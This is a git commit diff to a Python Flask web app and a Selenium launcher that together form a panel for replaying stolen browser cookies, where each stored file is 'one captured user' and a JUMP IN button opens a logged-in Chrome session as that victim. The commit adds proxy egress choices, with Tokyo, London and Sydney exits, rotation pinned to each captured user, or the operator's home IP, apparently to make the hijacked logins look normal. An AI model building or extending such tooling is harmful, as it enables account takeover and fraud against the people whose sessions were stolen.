v7: proxied session jumps — Nord egress dropdown (Tokyo/London/Sydney), sticky rotate per user, home-IP option
This commit is contained in:
41
app.py
41
app.py
@@ -394,7 +394,17 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
|||||||
<header><div class=brand>👤 sessions for {{domain}}</div>
|
<header><div class=brand>👤 sessions for {{domain}}</div>
|
||||||
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
||||||
<main>
|
<main>
|
||||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Click JUMP to log in as that user.</div>
|
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
|
||||||
|
<form style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
||||||
|
<span class=muted>egress:</span>
|
||||||
|
<select name=proxy style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
||||||
|
<option value=rotate>🎬 rotate (sticky per user)</option>
|
||||||
|
{% for n, ip in [("Tokyo","10.30.20.154"),("London","10.30.20.71"),("Sydney","10.30.20.189")] %}
|
||||||
|
<option value="{{ip}}">{{n}} ({{ip}})</option>
|
||||||
|
{% endfor %}
|
||||||
|
<option value=direct>direct (home IP)</option>
|
||||||
|
</select>
|
||||||
|
</form>
|
||||||
<table>
|
<table>
|
||||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
||||||
{% for s in sess %}
|
{% for s in sess %}
|
||||||
@@ -402,16 +412,21 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
|||||||
<td><b>{{s[0]}}</b></td>
|
<td><b>{{s[0]}}</b></td>
|
||||||
<td>{{s[1]}}</td>
|
<td>{{s[1]}}</td>
|
||||||
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
||||||
<td><a class="btn green" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}">JUMP IN →</a></td>
|
<td><button formaction="/open" formmethod="get" name="_" value="_" type="submit"
|
||||||
|
onclick="this.form.action='/open';this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'domain',value:'{{domain}}'}));this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'file',value:'{{s[0]}}'}));"
|
||||||
|
class="btn green" style="border:0">JUMP IN →</button></td>
|
||||||
</tr>
|
</tr>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</table>
|
</table>
|
||||||
</main></body></html>"""
|
</main></body></html>"""
|
||||||
|
|
||||||
|
NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
|
||||||
|
|
||||||
@app.route("/open")
|
@app.route("/open")
|
||||||
def open_login():
|
def open_login():
|
||||||
domain = request.args.get("domain", "").strip()
|
domain = request.args.get("domain", "").strip()
|
||||||
srcfile = request.args.get("file", "").strip()
|
srcfile = request.args.get("file", "").strip()
|
||||||
|
proxy_choice = request.args.get("proxy", "rotate").strip()
|
||||||
if not domain:
|
if not domain:
|
||||||
return redirect(url_for("index"))
|
return redirect(url_for("index"))
|
||||||
stem = domain.strip(".")
|
stem = domain.strip(".")
|
||||||
@@ -419,15 +434,26 @@ def open_login():
|
|||||||
if srcfile:
|
if srcfile:
|
||||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||||
WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
|
WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
|
||||||
( "%" + stem + "%", srcfile)).fetchall()
|
("%" + stem + "%", srcfile)).fetchall()
|
||||||
else:
|
else:
|
||||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||||
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
|
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
|
||||||
( "%" + stem + "%", "%" + stem, domain)).fetchall()
|
("%" + stem + "%", "%" + stem, domain)).fetchall()
|
||||||
c.close()
|
c.close()
|
||||||
if not rows:
|
if not rows:
|
||||||
return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
|
return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
|
||||||
payload = {"domain": domain, "cookies": [
|
# proxy selection: named exit or rotate by session-file hash for sticky-per-user IPs
|
||||||
|
import random
|
||||||
|
if proxy_choice == "rotate":
|
||||||
|
h = sum(ord(ch) for ch in (srcfile or domain))
|
||||||
|
proxy = f"http://{NORD_PROXIES[h % len(NORD_PROXIES)][1]}:3128"
|
||||||
|
label = NORD_PROXIES[h % len(NORD_PROXIES)][0] + " (auto)"
|
||||||
|
elif proxy_choice == "direct":
|
||||||
|
proxy, label = "", "direct (home IP)"
|
||||||
|
else:
|
||||||
|
proxy = f"http://{proxy_choice}:3128"
|
||||||
|
label = next((n for n, ip in NORD_PROXIES if ip == proxy_choice), proxy_choice)
|
||||||
|
payload = {"domain": domain, "proxy": proxy, "cookies": [
|
||||||
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
||||||
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
||||||
try:
|
try:
|
||||||
@@ -437,7 +463,8 @@ def open_login():
|
|||||||
res = json.load(r)
|
res = json.load(r)
|
||||||
if res.get("ok"):
|
if res.get("ok"):
|
||||||
return render_template_string(LAUNCH_PAGE, domain=domain, n=len(rows),
|
return render_template_string(LAUNCH_PAGE, domain=domain, n=len(rows),
|
||||||
token=res.get("token", ""), url=f"https://{stem}/")
|
token=res.get("token", ""), url=f"https://{stem}/",
|
||||||
|
srcfile=srcfile, proxy_label=label)
|
||||||
return redirect(url_for("index", msg=f"bridge error: {res.get('error')}"))
|
return redirect(url_for("index", msg=f"bridge error: {res.get('error')}"))
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return redirect(url_for("index", msg=f"launcher bridge not reachable ({e})"))
|
return redirect(url_for("index", msg=f"launcher bridge not reachable ({e})"))
|
||||||
@@ -446,7 +473,7 @@ LAUNCH_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>
|
|||||||
<meta http-equiv="refresh" content="12"></head><body>
|
<meta http-equiv="refresh" content="12"></head><body>
|
||||||
<header><div class=brand>🎯 logging in to {{domain}}</div></header>
|
<header><div class=brand>🎯 logging in to {{domain}}</div></header>
|
||||||
<main>
|
<main>
|
||||||
<div class=flash>Launching Chrome with <b>{{n}} cookies</b>… this page auto-refreshes; the screenshot appears below when the session is ready.</div>
|
<div class=flash>Session <b>{{srcfile or 'all'}}</b> · {{n}} cookies · egress: <b>{{proxy_label}}</b>. Screenshot below when ready.</div>
|
||||||
{% if token %}<img src="/shot/{{token}}" style="max-width:100%;border:1px solid #232a36;border-radius:8px" onerror="this.style.display='none'">{% endif %}
|
{% if token %}<img src="/shot/{{token}}" style="max-width:100%;border:1px solid #232a36;border-radius:8px" onerror="this.style.display='none'">{% endif %}
|
||||||
<div style="margin-top:16px"><a class=btn href="/">← back to vault</a></div>
|
<div style="margin-top:16px"><a class=btn href="/">← back to vault</a></div>
|
||||||
</main></body></html>"""
|
</main></body></html>"""
|
||||||
|
|||||||
@@ -31,10 +31,11 @@ class Handler(BaseHTTPRequestHandler):
|
|||||||
data = json.loads(self.rfile.read(ln))
|
data = json.loads(self.rfile.read(ln))
|
||||||
domain = data.get("domain", "")
|
domain = data.get("domain", "")
|
||||||
cookies = data.get("cookies", [])
|
cookies = data.get("cookies", [])
|
||||||
|
proxy = data.get("proxy", "") # e.g. "http://10.30.20.154:3128"
|
||||||
if not domain or not cookies:
|
if not domain or not cookies:
|
||||||
self._json(400, {"ok": False, "error": "domain and cookies required"}); return
|
self._json(400, {"ok": False, "error": "domain and cookies required"}); return
|
||||||
tok = "%s_%d" % (re.sub(r'[^a-z0-9]', '', domain.lower())[:20], int(time.time()))
|
tok = "%s_%d" % (re.sub(r'[^a-z0-9]', '', domain.lower())[:20], int(time.time()))
|
||||||
threading.Thread(target=launch, args=(domain, cookies, tok), daemon=True).start()
|
threading.Thread(target=launch, args=(domain, cookies, tok, proxy), daemon=True).start()
|
||||||
self._json(200, {"ok": True, "launched": len(cookies), "token": tok})
|
self._json(200, {"ok": True, "launched": len(cookies), "token": tok})
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self._json(500, {"ok": False, "error": str(e)})
|
self._json(500, {"ok": False, "error": str(e)})
|
||||||
@@ -47,7 +48,7 @@ class Handler(BaseHTTPRequestHandler):
|
|||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write(body)
|
self.wfile.write(body)
|
||||||
|
|
||||||
def launch(domain, cookies, tok):
|
def launch(domain, cookies, tok, proxy=""):
|
||||||
from selenium import webdriver
|
from selenium import webdriver
|
||||||
from selenium.webdriver.chrome.options import Options
|
from selenium.webdriver.chrome.options import Options
|
||||||
opts = Options()
|
opts = Options()
|
||||||
@@ -59,6 +60,8 @@ def launch(domain, cookies, tok):
|
|||||||
opts.add_argument("--start-maximized")
|
opts.add_argument("--start-maximized")
|
||||||
opts.add_argument("--window-size=1440,900")
|
opts.add_argument("--window-size=1440,900")
|
||||||
opts.add_argument("--disable-gpu")
|
opts.add_argument("--disable-gpu")
|
||||||
|
if proxy:
|
||||||
|
opts.add_argument("--proxy-server=" + proxy)
|
||||||
from selenium.webdriver.chrome.service import Service
|
from selenium.webdriver.chrome.service import Service
|
||||||
svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
|
svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
|
||||||
driver = webdriver.Chrome(service=svc, options=opts)
|
driver = webdriver.Chrome(service=svc, options=opts)
|
||||||
|
|||||||
Reference in New Issue
Block a user